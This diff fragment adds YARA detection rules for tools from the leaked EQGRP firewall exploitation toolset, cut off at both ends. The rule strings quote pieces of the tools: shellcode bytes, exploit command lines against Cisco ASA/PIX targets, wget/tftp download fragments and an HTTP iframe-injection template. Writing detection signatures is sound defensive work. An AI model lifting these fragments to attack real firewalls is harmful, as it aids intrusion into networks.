+		$s3 = "print \"$hex in decimal=$dec\\n\\n\";" fullword ascii
+	condition:
+		filesize < 2KB and ( 1 of ($x*) or 3 of them )
+}
+
+rule EQGRP_teflondoor {
+	meta:
+		description = "Detects tool from EQGRP toolset - file teflondoor.exe"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+	strings:
+		$x1 = "%s: abort.  Code is %d.  Message is '%s'" fullword ascii
+		$x2 = "%s: %li b (%li%%)" fullword ascii
+
+		$s1 = "no winsock" fullword ascii
+		$s2 = "%s: %s file '%s'" fullword ascii
+		$s3 = "peer: connect" fullword ascii
+		$s4 = "read: write" fullword ascii
+		$s5 = "%s: done!" fullword ascii
+		$s6 = "%s: %li b" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 30KB and 1 of ($x*) and 3 of them
+}
+
+rule EQGRP_durablenapkin_solaris_2_0_1 {
+	meta:
+		description = "Detects tool from EQGRP toolset - file durablenapkin.solaris.2.0.1.1"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+	strings:
+		$s1 = "recv_ack: %s: Service not supplied by provider" fullword ascii
+		$s2 = "send_request: putmsg \"%s\": %s" fullword ascii
+		$s3 = "port undefined" fullword ascii
+		$s4 = "recv_ack: %s getmsg: %s" fullword ascii
+		$s5 = ">> %d -- %d" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 40KB and 2 of them )
+}
+
+rule EQGRP_teflonhandle {
+	meta:
+		description = "Detects tool from EQGRP toolset - file teflonhandle.exe"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+	strings:
+		$s1 = "%s [infile] [outfile] /k 0x[%i character hex key] </g>" fullword ascii
+		$s2 = "File %s already exists.  Overwrite? (y/n) " fullword ascii
+		$s3 = "Random Key : 0x" fullword ascii
+		$s4 = "done (%i bytes written)." fullword ascii
+		$s5 = "%s --> %s..." fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 20KB and 2 of them
+}
+
+rule EQGRP_false {
+	meta:
+		description = "Detects tool from EQGRP toolset - file false.exe"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+	strings:
+		$s1 = { 00 25 64 2E 0A 00 00 00 00 25 64 2E 0A 00 00 00
+			00 25 6C 75 2E 25 6C 75 2E 25 6C 75 2E 25 6C 75
+			00 25 64 2E 0A 00 00 00 00 25 64 2E 0A 00 00 00
+			00 25 64 2E 0A 00 00 00 00 25 64 2E 0A 00 00 00
+			00 25 32 2E 32 58 20 00 00 0A 00 00 00 25 64 20
+			2D 20 25 64 20 25 64 0A 00 25 64 0A 00 25 64 2E
+			0A 00 00 00 00 25 64 2E 0A 00 00 00 00 25 64 2E
+			0A 00 00 00 00 25 64 20 2D 20 25 64 0A 00 00 00
+			00 25 64 20 2D 20 25 64 }
+	condition:
+		uint16(0) == 0x5a4d and filesize < 50KB and $s1
+}
+
+rule EQGRP_bc_genpkt {
+	meta:
+		description = "Detects tool from EQGRP toolset - file bc-genpkt"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+	strings:
+		$x1 = "load auxiliary object=%s requested by file=%s" fullword ascii
+		$x2 = "size of new packet, should be %d <= size <= %d bytes" fullword ascii
+		$x3 = "verbosity - show lengths, packet dumps, etc" fullword ascii
+
+		$s1 = "%s: error while loading shared libraries: %s%s%s%s%s" fullword ascii
+		$s2 = "cannot dynamically load executable" fullword ascii
+		$s3 = "binding file %s to %s: %s symbol `%s' [%s]" fullword ascii
+		$s4 = "randomize the initiator cookie" fullword ascii
+	condition:
+		uint16(0) == 0x457f and filesize < 1000KB and ( 1 of ($s*) and 3 of them )
+}
+
+rule EQGRP_dn_1_0_2_1 {
+	meta:
+		description = "Detects tool from EQGRP toolset - file dn.1.0.2.1.linux"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+	strings:
+		$s1 = "Valid commands are: SMAC, DMAC, INT, PACK, DONE, GO" fullword ascii
+		$s2 = "invalid format suggest DMAC=00:00:00:00:00:00" fullword ascii
+		$s3 = "SMAC=%02x:%02x:%02x:%02x:%02x:%02x" fullword ascii
+		$s4 = "Not everything is set yet" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 30KB and 2 of them )
+}
+
+rule EQGRP_morel {
+	meta:
+		description = "Detects tool from EQGRP toolset - file morel.exe"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+		hash1 = "a9152e67f507c9a179bb8478b58e5c71c444a5a39ae3082e04820a0613cd6d9f"
+	strings:
+		$s1 = "%d - %d, %d" fullword ascii
+		$s2 = "%d - %lu.%lu %d.%lu" fullword ascii
+		$s3 = "%d - %d %d" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 60KB and all of them )
+}
+
+rule EQGRP_bc_parser {
+	meta:
+		description = "Detects tool from EQGRP toolset - file bc-parser"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+		hash1 = "879f2f1ae5d18a3a5310aeeafec22484607649644e5ecb7d8a72f0877ac19cee"
+	strings:
+		$s1 = "*** Target may be susceptible to FALSEMOREL      ***" fullword ascii
+		$s2 = "*** Target is susceptible to FALSEMOREL          ***" fullword ascii
+	condition:
+		uint16(0) == 0x457f and 1 of them
+}
+
+rule EQGRP_1212 {
+	meta:
+		description = "Detects tool from EQGRP toolset - file 1212.pl"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+	strings:
+		$s1 = "if (!(($srcip,$dstip,$srcport,$dstport) = ($line=~/^([a-f0-9]{8})([a-f0-9]{8})([a-f0-9]{4})([a-f0-9]{4})$/)))" fullword ascii
+		$s2 = "$ans=\"$srcip:$srcport -> $dstip:$dstport\";" fullword ascii
+		$s3 = "return \"ERROR:$line is not a valid port\";" fullword ascii
+		$s4 = "$dstport=hextoPort($dstport);" fullword ascii
+		$s5 = "sub hextoPort" fullword ascii
+		$s6 = "$byte_table{\"$chars[$sixteens]$chars[$ones]\"}=$i;" fullword ascii
+	condition:
+		filesize < 6KB and 4 of them
+}
+
+rule EQGRP_1212_dehex {
+	meta:
+		description = "Detects tool from EQGRP toolset - from files 1212.pl, dehex.pl"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+	strings:
+		$s1 = "return \"ERROR:$line is not a valid address\";" fullword ascii
+		$s2 = "print \"ERROR: the filename or hex representation needs to be one argument try using \\\"'s\\n\";" fullword ascii
+		$s3 = "push(@octets,$byte_table{$tempi});" fullword ascii
+		$s4 = "$byte_table{\"$chars[$sixteens]$chars[$ones]\"}=$i;" fullword ascii
+		$s5 = "print hextoIP($ARGV[0]);" fullword ascii
+	condition:
+		( uint16(0) == 0x2123 and filesize < 6KB and ( 5 of ($s*) ) ) or ( all of them )
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-08-16
+	Identifier: EQGRP
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule install_get_persistent_filenames {
+	meta:
+		description = "EQGRP Toolset Firewall - file install_get_persistent_filenames"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "4a50ec4bf42087e932e9e67e0ea4c09e52a475d351981bb4c9851fda02b35291"
+	strings:
+		$s1 = "Generates the persistence file name and prints it out." fullword ascii
+	condition:
+		( uint16(0) == 0x457f and all of them )
+}
+
+rule EQGRP_create_dns_injection {
+	meta:
+		description = "EQGRP Toolset Firewall - file create_dns_injection.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "488f3cc21db0688d09e13eb85a197a1d37902612c3e302132c84e07bc42b1c32"
+	strings:
+		$s1 = "Name:   A hostname: 'host.network.com', a decimal numeric offset within" fullword ascii
+		$s2 = "-a www.badguy.net,CNAME,1800,host.badguy.net \\\\" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_screamingplow {
+	meta:
+		description = "EQGRP Toolset Firewall - file screamingplow.sh"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "c7f4104c4607a03a1d27c832e1ebfc6ab252a27a1709015b5f1617b534f0090a"
+	strings:
+		$s1 = "What is the name of your PBD:" fullword ascii
+		$s2 = "You are now ready for a ScreamPlow" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_MixText {
+	meta:
+		description = "EQGRP Toolset Firewall - file MixText.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "e4d24e30e6cc3a0aa0032dbbd2b68c60bac216bef524eaf56296430aa05b3795"
+	strings:
+		$s1 = "BinStore enabled implants." fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_tunnel_state_reader {
+	meta:
+		description = "EQGRP Toolset Firewall - file tunnel_state_reader"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "49d48ca1ec741f462fde80da68b64dfa5090855647520d29e345ef563113616c"
+	strings:
+		$s1 = "Active connections will be maintained for this tunnel. Timeout:" fullword ascii
+		$s5 = "%s: compatible with BLATSTING version 1.2" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_payload {
+	meta:
+		description = "EQGRP Toolset Firewall - file payload.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "21bed6d699b1fbde74cbcec93575c9694d5bea832cd191f59eb3e4140e5c5e07"
+	strings:
+		$s1 = "can't find target version module!" fullword ascii
+		$s2 = "class Payload:" fullword ascii
+	condition:
+		all of them
+}
+
+rule EQGRP_eligiblecandidate {
+	meta:
+		description = "EQGRP Toolset Firewall - file eligiblecandidate.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "c4567c00734dedf1c875ecbbd56c1561a1610bedb4621d9c8899acec57353d86"
+	strings:
+		$o1 = "Connection timed out. Only a problem if the callback was not received." fullword ascii
+		$o2 = "Could not reliably detect cookie. Using 'session_id'..." fullword ascii
+
+		$c1 = "def build_exploit_payload(self,cmd=\"/tmp/httpd\"):" fullword ascii
+		$c2 = "self.build_exploit_payload(cmd)" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_BUSURPER_2211_724 {
+	meta:
+		description = "EQGRP Toolset Firewall - file BUSURPER-2211-724.exe"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "d809d6ff23a9eee53d2132d2c13a9ac5d0cb3037c60e229373fc59a4f14bc744"
+	strings:
+		$s1 = ".got_loader" fullword ascii
+		$s2 = "_start_text" fullword ascii
+		$s3 = "IMPLANT" fullword ascii
+		$s4 = "KEEPGOING" fullword ascii
+		$s5 = "upgrade_implant" fullword ascii
+	condition:
+		all of them
+}
+
+rule EQGRP_networkProfiler_orderScans {
+	meta:
+		description = "EQGRP Toolset Firewall - file networkProfiler_orderScans.sh"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "ea986ddee09352f342ac160e805312e3a901e58d2beddf79cd421443ba8c9898"
+	strings:
+		$x1 = "Unable to save off predefinedScans directory" fullword ascii
+		$x2 = "Re-orders the networkProfiler scans so they show up in order in the LP" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_epicbanana_2_1_0_1 {
+	meta:
+		description = "EQGRP Toolset Firewall - file epicbanana_2.1.0.1.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "4b13cc183c3aaa8af43ef3721e254b54296c8089a0cd545ee3b867419bb66f61"
+	strings:
+		$s1 = "failed to create version-specific payload" fullword ascii
+		$s2 = "(are you sure you did \"make [version]\" in versions?)" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_sniffer_xml2pcap {
+	meta:
+		description = "EQGRP Toolset Firewall - file sniffer_xml2pcap"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "f5e5d75cfcd86e5c94b0e6f21bbac886c7e540698b1556d88a83cc58165b8e42"
+	strings:
+		$x1 = "-s/--srcip <sourceIP>  Use given source IP (if sniffer doesn't collect source IP)" fullword ascii
+		$x2 = "convert an XML file generated by the BLATSTING sniffer module into a pcap capture file." fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_BananaAid {
+	meta:
+		description = "EQGRP Toolset Firewall - file BananaAid"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "7a4fb825e63dc612de81bc83313acf5eccaa7285afc05941ac1fef199279519f"
+	strings:
+		$x1 = "(might have to delete key in ~/.ssh/known_hosts on linux box)" fullword ascii
+		$x2 = "scp BGLEE-" ascii
+		$x3 = "should be 4bfe94b1 for clean bootloader version 3.0; " fullword ascii
+		$x4 = "scp <configured implant> <username>@<IPaddr>:onfig" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_bo {
+	meta:
+		description = "EQGRP Toolset Firewall - file bo"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "aa8b363073e8ae754b1836c30f440d7619890ded92fb5b97c73294b15d22441d"
+	strings:
+		$s1 = "ERROR: failed to open %s: %d" fullword ascii
+		$s2 = "__libc_start_main@@GLIBC_2.0" fullword ascii
+		$s3 = "serial number: %s" fullword ascii
+		$s4 = "strerror@@GLIBC_2.0" fullword ascii
+		$s5 = "ERROR: mmap failed: %d" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 20KB and all of them )
+}
+
+rule EQGRP_SecondDate_2211 {
+	meta:
+		description = "EQGRP Toolset Firewall - file SecondDate-2211.exe"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "2337d0c81474d03a02c404cada699cf1b86c3c248ea808d4045b86305daa2607"
+	strings:
+		$s1 = "SD_processControlPacket" fullword ascii
+		$s2 = "Encryption_rc4SetKey" fullword ascii
+		$s3 = ".got_loader" fullword ascii
+		$s4 = "^GET.*(?:/ |\\.(?:htm|asp|php)).*\\r\\n" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 200KB and all of them )
+}
+
+rule EQGRP_config_jp1_UA {
+	meta:
+		description = "EQGRP Toolset Firewall - file config_jp1_UA.pl"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "2f50b6e9891e4d7fd24cc467e7f5cfe348f56f6248929fec4bbee42a5001ae56"
+	strings:
+		$x1 = "This program will configure a JETPLOW Userarea file." fullword ascii
+		$x2 = "Error running config_implant." fullword ascii
+		$x3 = "NOTE:  IT ASSUMES YOU ARE OPERATING IN THE INSTALL/LP/JP DIRECTORY. THIS ASSUMPTION " fullword ascii
+		$x4 = "First IP address for beacon destination [127.0.0.1]" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_userscript {
+	meta:
+		description = "EQGRP Toolset Firewall - file userscript.FW"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "5098ff110d1af56115e2c32f332ff6e3973fb7ceccbd317637c9a72a3baa43d7"
+	strings:
+		$x1 = "Are you sure? Don't forget that NETSCREEN firewalls require BANANALIAR!! " fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_BBALL_M50FW08_2201 {
+	meta:
+		description = "EQGRP Toolset Firewall - file BBALL_M50FW08-2201.exe"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "80c0b68adb12bf3c15eff9db70a57ab999aad015da99c4417fdfd28156d8d3f7"
+	strings:
+		$s1 = ".got_loader" fullword ascii
+		$s2 = "LOADED" fullword ascii
+		$s3 = "pageTable.c" fullword ascii
+		$s4 = "_start_text" fullword ascii
+		$s5 = "handler_readBIOS" fullword ascii
+		$s6 = "KEEPGOING" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 40KB and 5 of ($s*) )
+}
+
+rule EQGRP_BUSURPER_3001_724 {
+	meta:
+		description = "EQGRP Toolset Firewall - file BUSURPER-3001-724.exe"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "6b558a6b8bf3735a869365256f9f2ad2ed75ccaa0eefdc61d6274df4705e978b"
+	strings:
+		$s1 = "IMPLANT" fullword ascii
+		$s2 = "KEEPGOING" fullword ascii
+		$s3 = "upgrade_implant" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 200KB and 2 of them ) or ( all of them )
+}
+
+rule EQGRP_workit {
+	meta:
+		description = "EQGRP Toolset Firewall - file workit.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "fb533b4d255b4e6072a4fa2e1794e38a165f9aa66033340c2f4f8fd1da155fac"
+	strings:
+		$s1 = "macdef init > /tmp/.netrc;" fullword ascii
+		$s2 = "/usr/bin/wget http://" fullword ascii
+		$s3 = "HOME=/tmp ftp" fullword ascii
+		$s4 = " >> /tmp/.netrc;" fullword ascii
+		$s5 = "/usr/rapidstream/bin/tftp" fullword ascii
+		$s6 = "created shell_command:" fullword ascii
+		$s7 = "rm -f /tmp/.netrc;" fullword ascii
+		$s8 = "echo quit >> /tmp/.netrc;" fullword ascii
+		$s9 = "echo binary >> /tmp/.netrc;" fullword ascii
+		$s10 = "chmod 600 /tmp/.netrc;" fullword ascii
+		$s11 = "created cli_command:" fullword ascii
+	condition:
+		6 of them
+}
+
+rule EQGRP_tinyhttp_setup {
+	meta:
+		description = "EQGRP Toolset Firewall - file tinyhttp_setup.sh"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "3d12c83067a9f40f2f5558d3cf3434bbc9a4c3bb9d66d0e3c0b09b9841c766a0"
+	strings:
+		$x1 = "firefox http://127.0.0.1:8000/$_name" fullword ascii
+		$x2 = "What is the name of your implant:" fullword ascii /* it's called conscience */
+		$x3 = "killall thttpd" fullword ascii
+		$x4 = "copy http://<IP>:80/$_name flash:/$_name" fullword ascii
+	condition:
+		( uint16(0) == 0x2123 and filesize < 2KB and 1 of ($x*) ) or ( all of them )
+}
+
+rule EQGRP_shellcode {
+	meta:
+		description = "EQGRP Toolset Firewall - file shellcode.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "ac9decb971dd44127a6ca0d35ac153951f0735bb4df422733046098eca8f8b7f"
+	strings:
+		$s1 = "execute_post = '\\xe8\\x00\\x00\\x00\\x00\\x5d\\xbe\\xef\\xbe\\xad\\xde\\x89\\xf7\\x89\\xec\\x29\\xf4\\xb8\\x03\\x00\\x00\\x00" ascii
+		$s2 = "tiny_exec = '\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x03\\x00\\x01\\x00\\x00" ascii
+		$s3 = "auth_id = '\\x31\\xc0\\xb0\\x03\\x31\\xdb\\x89\\xe1\\x31\\xd2\\xb6\\xf0\\xb2\\x0d\\xcd\\x80\\x3d\\xff\\xff\\xff\\xff\\x75\\x07" ascii
+
+		$c1 = { e8 00 00 00 00 5d be ef be ad de 89 f7 89 ec 29 f4 b8 03 00 00 00 }
+		/* $c2 = { 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 02 00 03 00 01 00 00 }  too many fps */
+		$c3 = { 31 c0 b0 03 31 db 89 e1 31 d2 b6 f0 b2 0d cd 80 3d ff ff ff ff 75 07 }
+	condition:
+		1 of them
+}
+
+rule EQGRP_EPBA {
+	meta:
+		description = "EQGRP Toolset Firewall - file EPBA.script"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "53e1af1b410ace0934c152b5df717d8a5a8f5fdd8b9eb329a44d94c39b066ff7"
+	strings:
+		$x1 = "./epicbanana_2.0.0.1.py -t 127.0.0.1 --proto=ssh --username=cisco --password=cisco --target_vers=asa804 --mem=NA -p 22 " fullword ascii
+		$x2 = "-t TARGET_IP, --target_ip=TARGET_IP -- Either 127.0.0.1 or Win Ops IP" fullword ascii
+		$x3 = "./bride-1100 --lp 127.0.0.1 --implant 127.0.0.1 --sport RHP --dport RHP" fullword ascii
+		$x4 = "--target_vers=TARGET_VERS    target Pix version (pix712, asa804) (REQUIRED)" fullword ascii
+		$x5 = "-p DEST_PORT, --dest_port=DEST_PORT defaults: telnet=23, ssh=22 (optional) - Change to LOCAL redirect port" fullword ascii
+		$x6 = "this operation is complete, BananaGlee will" fullword ascii
+		$x7 = "cd /current/bin/FW/BGXXXX/Install/LP" fullword ascii
+	condition:
+		( uint16(0) == 0x2023 and filesize < 7KB and 1 of ($x*) ) or ( 3 of them )
+}
+
+rule EQGRP_BPIE {
+	meta:
+		description = "EQGRP Toolset Firewall - file BPIE-2201.exe"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "697e80cf2595c85f7c931693946d295994c55da17a400f2c9674014f130b4688"
+	strings:
+		$s1 = "profProcessPacket" fullword ascii
+		$s2 = ".got_loader" fullword ascii
+		$s3 = "getTimeSlotCmdHandler" fullword ascii
+		$s4 = "getIpIpCmdHandler" fullword ascii
+		$s5 = "LOADED" fullword ascii
+		$s6 = "profStartScan" fullword ascii
+		$s7 = "tmpData.1" fullword ascii
+		$s8 = "resetCmdHandler" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 70KB and 6 of ($s*) )
+}
+
+rule EQGRP_jetplow_SH {
+	meta:
+		description = "EQGRP Toolset Firewall - file jetplow.sh"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "ee266f84a1a4ccf2e789a73b0a11242223ed6eba6868875b5922aea931a2199c"
+	strings:
+		$s1 = "cd /current/bin/FW/BANANAGLEE/$bgver/Install/LP/jetplow" fullword ascii
+		$s2 = "***** Please place your UA in /current/bin/FW/OPS *****" fullword ascii
+		$s3 = "ln -s ../jp/orig_code.bin orig_code_pixGen.bin" fullword ascii
+		$s4 = "*****             Welcome to JetPlow              *****" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_BBANJO {
+	meta:
+		description = "EQGRP Toolset Firewall - file BBANJO-3011.exe"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "f09c2f90464781a08436321f6549d350ecef3d92b4f25b95518760f5d4c9b2c3"
+	strings:
+		$s1 = "get_lsl_interfaces" fullword ascii
+		$s2 = "encryptFC4Payload" fullword ascii
+		$s3 = ".got_loader" fullword ascii
+		$s4 = "beacon_getconfig" fullword ascii
+		$s5 = "LOADED" fullword ascii
+		$s6 = "FormBeaconPacket" fullword ascii
+		$s7 = "beacon_reconfigure" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 50KB and all of them )
+}
+
+rule EQGRP_BPATROL_2201 {
+	meta:
+		description = "EQGRP Toolset Firewall - file BPATROL-2201.exe"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "aa892750b893033eed2fedb2f4d872f79421174eb217f0c34a933c424ae66395"
+	strings:
+		$s1 = "dumpConfig" fullword ascii
+		$s2 = "getstatusHandler" fullword ascii
+		$s3 = ".got_loader" fullword ascii
+		$s4 = "xtractdata" fullword ascii
+		$s5 = "KEEPGOING" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 40KB and all of them )
+}
+
+rule EQGRP_extrabacon {
+	meta:
+		description = "EQGRP Toolset Firewall - file extrabacon_1.1.0.1.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "59d60835fe200515ece36a6e87e642ee8059a40cb04ba5f4b9cce7374a3e7735"
+	strings:
+		$x1 = "To disable password checking on target:" fullword ascii
+		$x2 = "[-] target is running" fullword ascii
+		$x3 = "[-] problem importing version-specific shellcode from" fullword ascii
+		$x4 = "[+] importing version-specific shellcode" fullword ascii
+		$s5 = "[-] unsupported target version, abort" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_sploit_py {
+	meta:
+		description = "EQGRP Toolset Firewall - file sploit.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "0316d70a5bbf068a7fc791e08e816015d04ec98f088a7ff42af8b9e769b8d1f6"
+	strings:
+		$x1 = "the --spoof option requires 3 or 4 fields as follows redir_ip" ascii
+		$x2 = "[-] timeout waiting for response - target may have crashed" fullword ascii
+		$x3 = "[-] no response from health check - target may have crashed" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_uninstallPBD {
+	meta:
+		description = "EQGRP Toolset Firewall - file uninstallPBD.bat"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "692fdb449f10057a114cf2963000f52ce118d9a40682194838006c66af159bd0"
+	strings:
+		$s1 = "memset 00e9a05c 4 38845b88" fullword ascii
+		$s2 = "_hidecmd" fullword ascii
+		$s3 = "memset 013abd04 1 0d" fullword ascii
+	condition:
+		all of them
+}
+
+rule EQGRP_BICECREAM {
+	meta:
+		description = "EQGRP Toolset Firewall - file BICECREAM-2140"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "4842076af9ba49e6dfae21cf39847b4172c06a0bd3d2f1ca6f30622e14b77210"
+	strings:
+		$s1 = "Could not connect to target device: %s:%d. Please check IP address." fullword ascii
+		$s2 = "command data size is invalid for an exec cmd" fullword ascii
+		$s3 = "A script was specified but target is not a PPC405-based NetScreen (NS5XT, NS25, and NS50). Executing scripts is supported but ma" ascii
+		$s4 = "Execute 0x%08x with args (%08x, %08x, %08x, %08x): [y/n]" fullword ascii
+		$s5 = "Execute 0x%08x with args (%08x, %08x, %08x): [y/n]" fullword ascii
+		$s6 = "[%d] Execute code." fullword ascii
+		$s7 = "Execute 0x%08x with args (%08x): [y/n]" fullword ascii
+		$s8 = "dump_value_LHASH_DOALL_ARG" fullword ascii
+		$s9 = "Eggcode is complete. Pass execution to it? [y/n]" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 5000KB and 2 of them ) or ( 5 of them )
+}
+
+rule EQGRP_create_http_injection {
+	meta:
+		description = "EQGRP Toolset Firewall - file create_http_injection.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "de52f5621b4f3896d4bd1fb93ee8be827e71a2b189a9f8552b68baed062a992d"
+	strings:
+		$x1 = "required by SECONDDATE" fullword ascii
+
+		$s1 = "help='Output file name (optional). By default the resulting data is written to stdout.')" fullword ascii
+		$s2 = "data = '<html><body onload=\"location.reload(true)\"><iframe src=\"%s\" height=\"1\" width=\"1\" scrolling=\"no\" frameborder=\"" ascii
+		$s3 = "version='%prog 1.0'," fullword ascii
+		$s4 = "usage='%prog [ ... options ... ] url'," fullword ascii
+	condition:
+		( uint16(0) == 0x2123 and filesize < 3KB and ( $x1 or 2 of them ) ) or ( all of them )
+}
+
+rule EQGRP_BFLEA_2201 {
+	meta:
+		description = "EQGRP Toolset Firewall - file BFLEA-2201.exe"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "15e8c743770e44314496c5f27b6297c5d7a4af09404c4aa507757e0cc8edc79e"
+	strings:
+		$s1 = ".got_loader" fullword ascii
+		$s2 = "LOADED" fullword ascii
+		$s3 = "readFlashHandler" fullword ascii
+		$s4 = "KEEPGOING" fullword ascii
+		$s5 = "flashRtnsPix6x.c" fullword ascii
+		$s6 = "fix_ip_cksum_incr" fullword ascii
+		$s7 = "writeFlashHandler" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 30KB and 5 of them ) or ( all of them )
+}
+
+rule EQGRP_BpfCreator_RHEL4 {
+	meta:
+		description = "EQGRP Toolset Firewall - file BpfCreator-RHEL4"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "bd7303393409623cabf0fcf2127a0b81fae52fe40a0d2b8db0f9f092902bbd92"
+	strings:
+		$s1 = "usage %s \"<tcpdump pcap string>\" <outfile>" fullword ascii
+		$s2 = "error reading dump file: %s" fullword ascii
+		$s3 = "truncated dump file; tried to read %u captured bytes, only got %lu" fullword ascii
+		$s4 = "%s: link-layer type %d isn't supported in savefiles" fullword ascii
+		$s5 = "DLT %d is not one of the DLTs supported by this device" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 2000KB and all of them )
+}
+
+rule EQGRP_StoreFc {
+	meta:
+		description = "EQGRP Toolset Firewall - file StoreFc.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "f155cce4eecff8598243a721389046ae2b6ca8ba6cb7b4ac00fd724601a56108"
+	strings:
+		$x1 = "Usage: StoreFc.py --configFile=<path to xml file> --implantFile=<path to BinStore implant> [--outputFile=<file to write the conf" ascii
+		$x2 = "raise Exception, \"Must supply both a config file and implant file.\"" fullword ascii
+		$x3 = "This is wrapper for Store.py that FELONYCROWBAR will use. This" fullword ascii
+	condition:
+		1 of them
+}
+
+rule EQGRP_hexdump {
+	meta:
+		description = "EQGRP Toolset Firewall - file hexdump.py"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-16"
+		hash1 = "95a9a6a8de60d3215c1c9f82d2d8b2640b42f5cabdc8b50bd1f4be2ea9d7575a"
+	strings:
+		$s1 = "def hexdump(x,lead=\"[+] \",out=sys.stdout):" fullword ascii
+		$s2 = "print >>out, \"%s%04x  \" % (lead,i)," fullword ascii
+		$s3 = "print >>out, \"%02X\" % ord(x[i+j])," fullword ascii
+		$s4 = "print >>out, sane(x[i:i+16])" fullword ascii
+	condition:
